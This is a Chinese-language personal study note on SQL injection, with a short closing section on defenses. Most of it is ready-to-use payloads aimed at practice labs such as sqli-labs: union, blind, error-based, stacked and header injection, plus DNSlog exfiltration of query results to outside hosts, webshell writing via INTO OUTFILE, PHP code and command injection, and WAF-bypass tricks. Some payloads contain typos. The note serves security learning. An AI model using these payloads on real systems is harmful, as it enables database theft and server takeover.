SQL注入基础学习
1. 什么是sql注入
SQL 注入就是指 web应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql语句来实现对数据库的任意操作;
即通过把sql命令插入到Web表单提交或输入域名或页面请求的查询字符串中,最终欺骗服务器执行恶意的SQL命令
2. 产生 SQL 注入的原理
当在一个网页中进行搜索某些内容,在这通信期间的大概过程为:你按下回车键,一个带有你输入的关键字通过GET或POST请求发送到服务器,业务逻辑层的Web服务器通过脚本引擎解析你的请求,动态地构造sql语句,并请求DBMS,执行SQL语句;DBMS返回SQL执行结果给Web Server,Web Server将页面封装成HTML格式响应给浏览器,浏览器解析HTML,将内容呈现给你。
3. SQL注入产生的危害
- 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
- 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
- 如果网站目录存在写入权限,可以写入网页木马,拿到webshell,攻击者进而可以对网页进行篡改,发布一些违法信息等。
- 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
4. 基础准备
文章学习平台:freebuf
4.1 MYSQL基本操作
mysql的系统库:
- information_schema:元数据库,存放了所有的数据库、表、列
- mysql
- performance_schema
- sys
information_schema有:
- SCHEMATA表 : 提供了当前mysql实例中所有数据库的信息。
- TABLES 表 : 提供了关于数据库中的表的信息。
- COLUMNS 表 :提供了表中的列信息。
MYSQL的基本操作:
MySQL的系统库 information_schema,存储着所有的数据库的相关信息,之后可以利用该库进行一次完整的注入。
猜数据库:
show databases;
select schema_name from frominformation_schemata;
猜某库的数据表:
select table_name from information_schema.tables where table_schema=‘xxxx’;
猜某表的所有列 :
select column_name from information_schema.columns where table_name=‘xxxxx’ and table_schema=‘xxxx’;
获取某列的内容:
select * from 表名;
4.2 HTTP基础
- 提交注入
Post、Get、cookie、request(全接受)、server(http头部进行注入) - Get:url中有id参数
- Post:url中没有id参数,但页面中有输入框
- Cookie:在post请求中进行抓包,添加(或修改)一段cookie值
用sqlmap中的参数:-r 一般是在以下类型中常用
post
搜索型注入
http头注入
登陆后的注入点有:cookie
5. 注入方式
注入类型:
- 数字型注入(不需要闭合)
- 字符型注入(需要闭合)
5.1 所需工具
- sqlmap
链接地址:https://github.com/sqlmapproject/sqlmap - Burpsuite
- phpstudy 用来搭建环境
- dnslogSql
链接地址:https://github.com/ADOOO/DnslogSqlinj - sql注入靶场:
sql-labs
DVWA
pikachu
5.2 union基础手注
细节注意:
- 单引号闭合前查询语句(必须形成闭合语句,否则数据库查询报错);
- –+注释后面的查询语句,与-- 等价(注意有空格)或#注释。
- 原查询语句返回的列数必须与注入语句返回列数相等。
- order by盲注列数排序。
常用方法与表:
concat() //将多个字符串拼接成一个字符串
concat_ws() //一次性指定分隔符,在多个字符串基础上都加上分隔符拼接成一个字符串
group_concat() //聚合函数
information_schema //元数据库名
table_schema //数据库名
table_name //表名
column_name //列名称
常规注入步骤:
url/index.php?id=1' order by 3 --+
url/index.php?id=-1' union select 1,2,3 --+
url/index.php?id=-1' union select database(),2,3 --+ //查询所得当前数据库名称为$db
url/index.php?id=-1' union select 1,2,group_concat(schema_name) FROM information_schema.schemata --+ //查所有的数据库
url/index.php?id=-1' union select 1,2,group_concat(TABLE_NAME) FROM information_schema.TABLES where table_schema='$db' --+ //查询所得表名为$table
url/index.php?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_name='$table' and table_schema='$db' --+ //查询所得列名分别为$col1,$col2,$col3
url/index.php?id=-1' union select $col1,$col2,$col3 from $table --+ //完成注入
url/index.php?id=-1' union select group_concat(schema_name) from information_schema.schemata --+ //查出所有库名
手工注入顺序案例:
数字型注入:
url?id=1 order by 4 --+
# 判断有多少列
url?id=-1 union select 1,2,3 --+
# 判断数据显示点
url?id=-1 union select 1,user(),database()+
# 显示出登录用户和数据库名
url?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 --+
# 查看数据库有哪些表
url?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 --+
# 查看对应表有哪些列
url?id=-1 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 --+
# 查看账号密码信息
特殊情况:
注释不可用情况下:
1.采用url?id=1 and 1=1 或 url?id=1' and '1'='1 进行探测注入点
http://localhost/sqli-labs/Less-23/?id=-1' union select 1,2,3 and '1'='1 //往后照常注入
http://localhost/sqli-labs/Less-23/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
and/or(&&/||)不可用情况:
1.使用url编码对&&/||进行编码注入
http://localhost/sqli-labs/Less-25/?id=1' %26%26 1=2 --+ //%26%26为&&
http://localhost/sqli-labs/Less-25/?id=1' %26%26 updatexml(1,concat(0x7e,database(),0x7e),1) --+
5.3 布尔盲注
Boolean是基于真假的判断(true or false);不管输入什么,结果都只返回真或假两种情况。Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正确与否。
盲注有时需要一个一个字符去猜,因此一些字符串操作的函数经常被用到。
适用场景:没有数据回显,条件正确有结果,错误没结果
利用方式:构造判断条件,逐个猜测(盲猜)
length():返回查询字符串长度
mid(column_name ,start,length):截取字符串
substr(string,start,length):截取字符串
Left(string,n):截取字符串
ORD():返回字符的AScii码
ASCII():返回字符的AsCii码
substring(string,start,end)
like //匹配注入,(不常用)
regexp //正则注入,(不常用)
例子:
1 and length(database())=5
1 and substr(database(),2,1)='e'--+ #如果正确响应结果,说明数据库名的第2个字符是e
#截取字符
select left('abcdefghijklm',5);
select MID('abcdefghijklm',5,5);
select substr('abcdefghijklm',5,5);
select ascii(substr('abcdefghijklm',5,5));
#转成ASCII码
select ORD('a');
select ASCII('a');
#正则
select user() regexp '^ro';
select user() like 'ro%';
使用BurpSuite(Intruder模块)进行遍历,获取正确的数据库名称。
注入案例:
#第一步,判断数据库长度
url/index.php?id=1' and length(database())=8 --+
#第二步判断数据库,截取字符
url/index.php?id=1' and left(database(),1)='s' --+
url/index.php?id=1' and substr(database(),1,1)='s' --+
url/index.php?id=1' and ascii(substr((查询语句 limit 0,1)1,1))=105 --+
url/index.php?id=1' and select ORD(MID((select IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1))=68 --+
#第三步,判断表的数量
url/index.php?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=7 --+
#第四步,判断表名的长度
url/index.php?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5 --+
#第五步,判断表名
url/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101 --+
#第六步,判断列的数量
url/index.php?id=1' and (select count(column_name) from information_schema.columns where table_name='env_list')>1 --+
#第七步,判断列名的长度
url/index.php?id=1' and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)=7 --+
#第八步,判断列名
url/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>1 --+
5.4 时间注入
适用场景:没有数据回显,条件正确与否结果一样
利用方式:构造判断条件(and),添加sleep,逐个猜测(盲猜)
时间注入所需函数与布尔盲注大多一样:
length():返回查询字符串长度
mid(column_name ,start ,length):截取字符串
substr(string,start,length):截取字符串
Left(string,n):截取字符串
ORD():返回字符的ASCii码
ASCII():返回字符的ASCii码
if():逻辑判断
sleep():控制时间
benchmark():控制时间
- 截取长度 select length(database())=8;
- 判断,赋值 if(expression,val1,val2) --if((1=1),3,2);
- 睡眠N秒 select sleep(4);
- 如果数据库名字长度为8,则sleep1秒,否则返回0
select sleep(if((select length(database())=8),3,0));
等价于select if(length(database())=8,sleep(3),0);
例子:
url/index.php?id=1' and if((length(database())>5),sleep(5),1) --+
# 基本操作
url/index.php?id=1' and if(ascii(substr((查询语句 limit 0,1),1,1))>101,sleep(1),0) --+
# 猜表名
url/index.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database=() limit 0,1),1,1))>101,sleep(1),0) --+
# 猜列名
url/index.php?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database=() and table_name='emails' limit 0,1),1,1))>101,sleep(1),0) --+
# 猜数据
url/index.php?id=1' and if(ORD(MID((select IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1))=68,sleep(1),0) --+
差不多就是在布尔盲注的基础上进行休眠
5.5 报错注入
适用场景:没有数据回显,条件正确与否结果一样,sleep没区别,但是错误信息会打印出来
利用方式:利用语法(参数)错误,把value在前端输出
十种报错注入参考文档
参考链接:https://blog.csdn.net/weixin_38023368/article/details/120101000
常用方法:
extractvalue(arg1,arg2) #arg为参数
updatexml(arg1,arg2,arg3)
floor() #floor(rand(0)*2)
常用payload:
# 一般用法
url/index.php?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
url/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,@@datadir),1) --+
- 从XML节点中查找节点
SELECT extractValue('<a>b</b></a>','/a/b');
- 更新XML节点的值
SELECT
updateXML('<a><b>ccc</b><d></d></a>','/a','<e>fff</e>') AS val1
updateXML('<a><b>ccc</b><d></d></a>','/b','<e>fff</e>') AS val2
updateXML('<a><b>ccc</b><d></d></a>','//b','<e>fff</e>') AS val3
updateXML('<a><b>ccc</b><d></d></a>','/a/d','<e>fff</e>') AS val4
updateXML('<a><d></d><b>ccc</b><d></d></a>','/a/d','<e>fff</e>') AS val5
- mysql错误语法
SELECT extractValue('', concat('~',version())); #有两个参数
select updateXML('',concat('~',version()),''); #有三个参数
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
- 其他不允许有语法错误的函数
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()
例子:
#一般用法
url/index.php?id=1' and updatexml(1,concat(0x7e,(查询语句),0x7e,[]),1) --+
url/index.php?id=1' and updatexml(1,concat(0x7e,database(),0x7e,@@datadir),1) --+
# 0x7e为~,目的是区分返回的数据
# @@datadir,存储数据的路径
url/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,@@datadir),1) --+
sql-labs案例:
# 爆库名及数据库路径
url?id=1' and updatexml(1,concat(Ox7e,database(),0x7e,user(),0x7e,@@datadir),1) --+
# 爆表名
url?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
# 爆列名
url?id=1' and updatexml(1.concat(0x7e,(select group_concat(column_name) from informaton_schema.columns where table_schema='secuity' and table_name='users'),0x7e),1) --+
5.6 DNSlog注入
适用场景:在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功
利用方式:使用dnslog平台收集带有数据库相关的三级域名访问日志信息
注入原理:
将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的四级域名带出,在ns服务器的dns日志中显示出来。
注入前准备:
secure_file_priv 为null,表示不允许导入导出
secure_file_priv 指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv 没有设置时,则表示没有任何限制
可了解一下load_file和outfile
1. DNSLog平台
www.dnslog.cn 或 www.ceye.io(http请求需要安装curl命令)(ceye api 脚本 dnslogsqlinj)
2. UNC(windows) # 通用命名规则
3. MySQL读写函数 # secure_file_priv
4. 读取文件select LOAD_FILE('路径');
1、只能访问本机的文件
2、文件需要有读取权限
3、字节数小于max_allowed_packet
5. 写入文件select 123 INTO OUTFILE '路径';
# 例如:路径E:\\in.txt # 123为更改后的内容
流程:
6. 把select LOAD_FILE()注入到数据库,访问文件
7. UNC构建DNS服务器地址,假装访问文件,产生DNSLog
select load_file('aaa.yourid.dnslog.cn/wuya');
8. 把子域名替换成函数或者查询SQL
如:
if((select load_file(concat('',database(),'.yourid.dnslog.cn/wuya'))),1,0); 服务器转义为\\,域名后的/目录名输入随机字符即可
案例: (dnslog三级域名为:wfmwsq.ceye.io)
http://localhost/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select database()),'.wfmwsq.ceye.io\\abc'))--+
http://localhost/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),%27.wfmwsq.ceye.io\\abc'))--+
url?id=1' and if((select load_file(concat('',database(),'.yourid.dnslog.cn/wuya'))),1,0) --+
# 查询第二个数据库名
url?id=1' and if((select load_file(concat('',(select schema_name from information_schema.schemata limit 1,1),'.yourid.dnslog.cn/wuya'))),1,0) --+
url?id=1' and if((select load_file(concat('',(查询语句),'.yourid.dnslog.cn/wuya'))),1,0) --+
dnslogsqlinj注入脚本语法:
只能在python2版本中可用
dnslogSql.py -u http://localhost/sqli-labs/Less-9/?id=1 -c
dnslogSql.py -u "http://localhost/sqli-labs/Less-9/?id=1' and ({})--+" --dbs
--dbs get database
-D DB database name
--tables get table
-T TABLE table name
--columns get column
-c COLUMN column name
--dump get data
5.7 更新类基础手注
案例:
# php中可能的拼接:insert inte user(username,password) values('wowo' or updatexml(1,concat(0x7e,database(),0x7e),1) or '','123456')
payload:
wowo',or updatexml(1,concat(0x7e,database(),0x7e),1) or '
# php中可能的拼接::update user ser username = 'wowo' where userid=1 or updatexml(1,concat(0x7e,database(),0x7e),1)
payload:
1 or updatexml(1,concat(0x7e,database(),0x7e),1)
# php中可能的拼接::update user ser password = '1111' or updatexml(1,concat(0x7e,database(),0x7e),1) or '' where userid=1
payload:
1111' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' //与上一条一样
# php中可能的拼接::delete from user where userid=1 or updatexml(1,concat(0x7e,database(),0x7e),1)
payload:
1 or updatexml(1,concat(0x7e,database(),0x7e),1)
5.7 堆叠查询注入
堆叠查询注入可以执行多条sql语句,语句直接用(;)隔开
小知识点:
- 可以使用堆叠注入的地方也可以使用布尔盲注与时间盲注;
- 同样先找出正确的闭合规则,然后也看两种状态来猜解库名、表名等;
类似与下面在分号后面可执行新的语句:
?id=1';select if(length(database())>=8,sleep(4),1)
?id=1;select if(length(database())>1,sleep(3),1)
?id=1;select if(substr(database(),1,1)='r',sleep(3),1)
堆叠的(;)分号后可以执行新的sql语句,因此在知道网站根目录的情况下可以直接写日志拿shell
注意:php代码中必须使用 multi_query()
5.8 二次注入
二次注入概要:
- 二次注入一共有两个url,url一用来注入,也就是注入点,插入sql语句的地方,另外一个url用来返回信息;
- 也就是url一插入了sql语句,url一的响应里面就会返回这条信息对应的id值,然后url二就传入这个新id值,然后访问,响应回来之后将会爆出sql语句查询的结果,正确或者错误的sql信息;
- 就相当于url是一个用户注册的地方,用户注册后会在数据库里面加入新id存放用户的注册信息,那么这个id可以传给url二来访问,url二就可以显示出用户的注册信息,但如果注册信息含义恶意sql语句,url二就会显示出敏感的数据库信息;
- 跟union注入攻击差不多,只是回显的信息需要在另外的url中显示出来了;
- 后面就是union注入攻击的常规操作。
注:php代码中有使用 addslashes()函数,用来转义处理
5.9 宽字节注入
- 如果遇到单、双引号被转义,变成了反斜杠,导致参数id无法逃逸单引号的包围;
- 一般情况下,此处就不存在sql注入漏洞的;
- 但是如果数据库的编码为GBK时,就可以使用宽字节注入,因此在不知道是否是GBK编码时,都可以尝试去使用宽字节注入;
- 宽字节的格式是在地址后先加一个 %df ,再加单引号,因为反斜杠的编码为%5c,在GBK编码中,%df%5c是繁体字“連”,因此,单引号成功逃逸,爆出sql错误;
- 因此构造闭合规则时,在单引号前面加上 %df 就行了;
- 之后在闭合规则中写入同union注入的一些查询语句就行了;
注:php代码中有使用 addslashes()函数,用来转义处理
5.10 base64注入
- 如果遇到url的参数id的值看起来像base64的,先拿去url解码,然后如果是base64,拿去base64解码,解出来的应该就是id的值(1,2等数字);
- 那么如果要对这个url进行sql注入测试,就需要对id后面的所有值进行base64编码;
- 注入的方式步骤都是跟union注入一样的,只不过后面的所有值(整个payload)都要进行base64编码后传给url的c参数提交,包括闭合规则。
5.11 HTTP请求头注入
参考链接:PHP $_SERVER详解
HTTP头被插入数据库,构建出了Insert语句,那么头信息只要构造为:
$useragent = $_SERVER['HTTP_USER_AGENT"];
$referer = $_SERVER['HTTP_REFERER'];
$xforward = $_SERVER['HTTP_X_FORWARDED_FOR'];
$ipaddr = $_SERVER['REMOTE_ADDR'];
$sq1 = "insert into header(user agent,referer,xforward,ipaddr) values(' $useragent ','$referer','$xforward','$ipaddr')";
$conn->query($sql);
echo mysqli_error($conn);
echo "welcome Here.";
Payload:
Payload:
GET /security/misc.php HTTP/1.1
Host: 192.168.112.188
User-Agent: Mozi11a/5.o (windows NT 10.0; wow64;rv:46.0) Gecko/20100101 Firefox/46.04
Accept: text/htm1,app1ication/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT:1
Cookie: PHPSESSID=urOpOmmf3u7fh0qetad7ot6ep5
Connection: close
Referer: http://www.woniuxy.com
X-Forwarded-For:' or updatexml(1,concat(Ox7e,database(),0x7e),1) or '
5.11.1 cookie注入
- 抓包对一个url的http请求头的所有参数进行sql注入测试,里面的所有参数都有可能存在注入点,如果响应包出现sql报错,那么测试的这个参数就是注入点;
- 常见的http头部注入的参数有:【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】
- 如果测试到cookie参数的时候,响应有报sql错误,那么就是cookie注入攻击;
- 和union注入的差别就在于注入点不一样,之后使用union注入的方法即可。
5.11.2 XFF注入
- XFF注入即HTTP头部的X-Forwarded-for参数存在sql注入;
- 例如测试此参数的值 X-Forwarded-for:127.0.0.1’ 响应有sql报错,那么此处就是注入点;
- 之后使用union注入的方法完成即可
6. 奇技淫巧
1. 闭合与逻辑
payload:1' or '1'='1' 闭合后:id='1' or '1'='1'
也可以写成1'||'1'='1' 同理也可以使用 && 表示 and
payliad:1' or 1=1# 闭合后:id='1' or 1=1#'
2. 所有的确定字符串,均可以使用hex函数来处理成16进制,避免引号转义
select hex('/etc/passwd') #输出为:2F6574632F706173737764
select load_file(0x2F6574632F706173737764)
select hex('1earn')
select group_concat(table_name)from information_schema.tables where table_schema=Ox6C6561726E
select hex('%为什么%')
select * from article where content like 0x25E4B8BAE4BB80E4898825
3. WAF绕过
双写绕过:
select and or 等被过滤的话,可以这么构造, selselectect , anandd,这样即使被过滤了剩余字符串也能拼接成正常语句。
大小写绕过:
selecT,AnD,or ,可用来绕过简单的过滤手段
编码绕过:
base64,ASCII,16进制
特殊字符绕过:
空格:/**/,%20,%a0,%0a,%0d,%0b,%0c,select(password)from(user)
and:&&,or:||
内联注释:select username from /*!user*/ /*!union*/ select 2
00截断:sel%00ect,mysql中不会截断,但是waf中可能认为截断
%:sel%ect,如果是iis+asp,百分号会被忽略
7. 知道绝对路径的注入
- 如果通过一些方式爆出了网站的根目录,并且知道此站点存在sql注入;
- 猜测此数据库可能有file权限,那么我们就可以使用语句:into outfile 来写shell到网站的根目录下,之后用菜刀连接;
- 如果数据库没有file权限,那么我们用sqlmap的参数 --is-dba 来查看当前数据库的用户是否有管理员权限;
- 如果有管理员权限,我们就可以使用sqlmap里面的参数命令 --os-shell 来上传、反弹shell,最终getshell;
- 如果file、管理员权限都没有,那么另寻思路,日志、缓存写入等。
8. 代码及命令注入
8.1 代码注入
php代码中包括以下可执行的函数:
1.eval()函数 # 可执行多段以;结尾的代码
2.assert()函数 # 只能执行一个表达式,故只能执行一段以;结尾的代码
3.preg_replace()函数 # 正则替换,php代码中,该函数中带有/e,则可执行代码
4.create_function()函数 # 创建匿名函数
- eval函数
在PHP中,使用eval(string)函数可以执行任意有效的PHP代码,比如eva(“phpinfo0);”)、 eval("echo date()),也可以是更加复杂的码,比如@eval($_POST[‘code’]);代码,用户提交POST请求参数如下:
code=$a=10; $b=20; print(Sa+$b);
code=$time1 = "2017-11-06 18:58:04";$time2 = "2017-11-06 18:58:09";
echo (strtotime($time2)-strtotime($time1));
或者更加复杂的代码:
code=$conn = mysq1i_connect('127.0.0.1','root','123456','learn');mysqli_set_charset($conn,'utf8');
$result = mysq1i_query($conn,"select * from user");
$rows = mysqli_fetch_all($result);
var_dump($rows);
- assert函数
assert函数用于判断一个表达式是否成立,所以会先执行该表达式,进而达到判断的目的。所以assert相对于eval来说,功能要简单一些,只能执行表达式,但是依然可以达到执行代码的目的,比如针对@assert($_POST[code];的代码,用户提交的POST请求如下:
code=phpinfo();
code=print(date("Y-m-d"));
除此之外,我们也可以构造让assert函数执行eval()函数的Payload:
code=eval('$time1 = "2017-11-06 18:58:04";
$time2 = "2017-11-06 18:58:09";
echo (strtotime($time2)-strtotime($time1));');
- preg_replace函数
针对@preg_replace(“/test/e”,$_POST[code’],“test”);构造的Payload如下;
code=phpinfo();
code=print(date("Y-m-d"));
code=@eval('$a=10;$b=30; print($a+$b);');
- create_function()函数
create_function主要用来创建匿名函数,以下展示了其代码和Payload:
$func =create_function('',$_POST['code']);
$func();
code=phpinfo();
code=$a=11;$b=30;print($a+$b);
code=eval('$a=11; $b=30; print($a+$b);');
反序列化漏洞也是属于代码注入范畴
8.2 命令注入
在PHP中,可以直接执行操作系统的命令,函数包括: system, exec, popen, paassthru, shell_exec等
system($_POST['code']); # system自带回显
echo exec($_POST['code']); # 必须使用echo回显,echo exec(($_POST['code']));
echo shell_exec($_POST['code']);
passthru($_POST['code']);
另外一种命令注入的方式,后台直接执行系统命令,而前端参数传入的值是命令的一部分,则也会构成命令注入漏洞。比如后台执行命令:
sudo firewall-cmd --add-port=$port/$protocol
,而port参数是由前台用户传入的,构建的Payload如下:
80/tcp --permanent; echo "He1o world" /opt/lampp/htdocs/security/temp/mmmm.php;
9. 整体解决思路
1、根据首页提示,结合实际页面显示情况,做基本判断,如果是盲注型,则说明没有回显,
无论是错误回显还是正确的结果,直接上来先尝试拼接XXX and 1=1和XXX and 1=2。
2、根据提示,组合关键字和拼接的字符串和闭合字符,可以尝试不带引号、单引号、双引号、圆括号、单引号+圆括号、双引号+圆括号、双圆括号。
3、如果根据提示、和以上各种尝试发现还是没有办法获取到有用信息,database(),则可以考虑分析一下源代码。
4、通常使用order by来判断列的数量的时候,基本上都是3列,因为slect * from users为3列。
5、进行布尔盲注时,先使用已知的Payload: and length(database()=8和and length(database()=7进行判断,
进而substr(database(), 1,1)='S'进行进一步的盲注获取结果。
6、如果遇到一些完全没有思路的时候,--尝试着将后台可能使用的SQL语句写出来,再进行分析。
7、如果存在多个参数的时候,可以尝试不同的参数,--不一定必须是第一个参数。比如用户名和密码,都可以进行尝试。
8、使用堆叠注入时,第二条SQL语句的查询结果无法回显,则首先考虑报错的情况,
如果也没有报错回显,那么考虑写入木马文件的方式:
select " <?php phpinfo(); ?> " into outfile "/opt/lampp/htdocs/sqli-lab/cache/mm38.php"
9、但凡是提交Post请求的地方,必须要确认POST请求的URL地址和正文数据。
10、在Select语句中的Order By字段,要么根据列名排序,要么根据列的序号排序,但是无法根据一个列名字符串进行排序。
10. SQL注入语句总结
//数值型注入点
// PHP源码可能写的语句:select * from user where id=1 limit 0,1
?id=1 and 1=1
?id=1 and 1=2
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),versiob() //常规注入
?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1) //报错注入
?id=1 and length(database())=8 //布尔盲注
?id=1 and substr(database(),1,1)='s' //布尔盲注
?id=1 and if(length(database())=8,sleep(5),1) //时间盲注
?id=-1 union select 1,2,group_concat(schema_NAME) FROM information_schema.schemata
?id=-1 union select 1,2,group_concat(TABLE_NAME) FROM information_schema.TABLES where table_schema='$database'
?id=-1 union select 1,2,group_concat(column_name) FROM information_schema.columns where table_name='$table' and table_schema='$database'
//字符型注入点
// PHP源码可能写的语句:select * from user where id='1' limit 0,1
url/index.php?id=1' order by 3 --+
url/index.php?id=-1' union select 1,2,3 --+
url/index.php?id=-1' union select database(),2,3 --+ //查询所得当前数据库名称为$database
url/index.php?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) //报错注入
url/index.php?id=1' and length(database())=8 --+ //布尔盲注
url/index.php?id=1' and substr(database(),1,1)='s' --+ //布尔盲注
url/index.php?id=1' and if(length(database())=8,sleep(5),1) //时间盲注
url/index.php?id=-1' union select 1,2,group_concat(schema_NAME) FROM information_schema.schemata --+ //查所有的数据库
url/index.php?id=-1' union select 1,2,group_concat(TABLE_NAME) FROM information_schema.TABLES where table_schema='$database' --+ //查询所得表名为$name1
url/index.php?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_name='$table' and table_schema='$database' --+ //查询所得列名分别为$column1,$column2,$column3
url/index.php?id=-1' union select $column1,$column2,$column3 from $table --+
//完成注入
//order by注入型
order by基础知识:
order by 只能根据列名、列的序号排序,无法根据列名字符串排序
//拓展为,可在order by 后进行子查询
select * from user where id>3 order by 1 //order by后注入型,猜测原语句写法,按列名1排序
select * from user where id>3 order by 1 desc //注入语句,1为数值型,desc为降序排列
select * from user where id>3 order by (if(length(database())=8,id,username)) //如果数据库名长度等于8,则按列名为id字段进行排序,否则,按列名为username字段进行排序
payload:
url?sort=1 desc //探测注入点,降序排列
url?sort=1 and updataxml(1,concat(0x7e,database(),0x7e),1) //报错注入可行
//盲注,如果数据库名长度等于8,则按列名为id字段进行排序,否则,按列名为username字段进行排序
url?sort=(if(length(database())=8,id,username))
//例子:
http://localhost/sqli-labs/Less-46/?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) //SELECT * FROM users ORDER BY $id
http://localhost/sqli-labs/Less-47/?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ //SELECT * FROM users ORDER BY '$id'
http://localhost/sqli-labs/Less-48/?sort=(if(length(database())=8,id,username))
或
http://localhost/sqli-labs/Less-48/?sort=1 and if((ascii(substr(database(),1,1))=115),sleep(5),1) //目前所知,只能用ascii()配合substr()
http://localhost/sqli-labs/Less-49/?sort=1' and if((ascii(substr(database(),1,1))=115),sleep(5),1)--+
http://localhost/sqli-labs/Less-50/?sort=1;insert into users values(100,'test','test')
http://localhost/sqli-labs/Less-50/?sort=1;update users set username='test100' where id=100
http://localhost/sqli-labs/Less-51/?sort=1';update users set id=17 where id=100--+
11. SQL注入如何防御
- 过滤
- 限制长度
- 怎么去识别恶意的内容?
union
information_schema
order by
update
drop
select
......
-
预编译
参数化
绑定变量 -
转义
\' \" \\
直接把用户的输入当成文本
魔术引号:magic quote
-
数据库异常信息隐藏
error based
封装异常 -
禁用某些参数
secure file priv -
权限的定义
root
sims… :DBA分配了一个数据库的账号”sims“ -
数据加密
传输、存储 -
防火墙,限制同IP多少长时间
禁IP访问
黑名单
等等
12. WAF绕过
绕过的方法——很多变体
- 对关键字进行不同编码
select * from zzz = select * from %257a%257a%257a //url编码
"单引号" = %u0027、%u02b9、%u02bc //Unicode编码
adminuser = 0x61646D696E75736572 //部分十六进制编码
"空格" = %20 %09 %0a %0b %0c %0d %a0 //各类编码
- 对关键字进行大小写变换
union select = uNIoN sELecT
- 通过其他语义相同的关键字替换
And = &&
or =||
"等于" = like或综合<与>判断
if(a,b,c) = case when(A) then B else C end
substr(str,1.1) = substr (str) from 1 for 1
limit 1,1 = limit 1 offset 1
Union select 1,2 = union select * from ((select 1)join (select 2)B:
hex()、bin() = ascii()
sleep() = benchmark()
concat_ws() = group_concat()
mid()、substr() = substring()
@@user = user()
@@datadir = datadir()
- 配合Windows特性
whoami = ((((Wh^o^am""i)))) //利用符号分割字符执行whoami
whoami = set a=net&&b=user&&call %a%%b% //利用变量分割关键字执行whoami
set a=123whoami456/为了方便演示这里设置一个变量
echo %a:~3,6% //取出变量a的第3位开始,共计6个字符
%a:~3,6% //执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测
- 配合Linux特性
whoami = w'h'o'a'm"i"" //单引号或双引号连接符,需要闭合
Cat /etc/passwd = cat /?t/??ss"" //?,"通配符
whoami = /b[12312i]n/w[23sh]oa[2msh]i //[]通配符,匹配[]中的字符
Whoami = a=who&&b=ami&&SaSb //当然linux下也可以变量拼接
cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd //目录穿越 ./被拦截
- http协议绕过
- 配合过滤代码或漏洞本身
- 配合Mysql特性
- 网络结构绕过
本文章为个人学习时所记笔记,个中内容或有所不足,仅当参考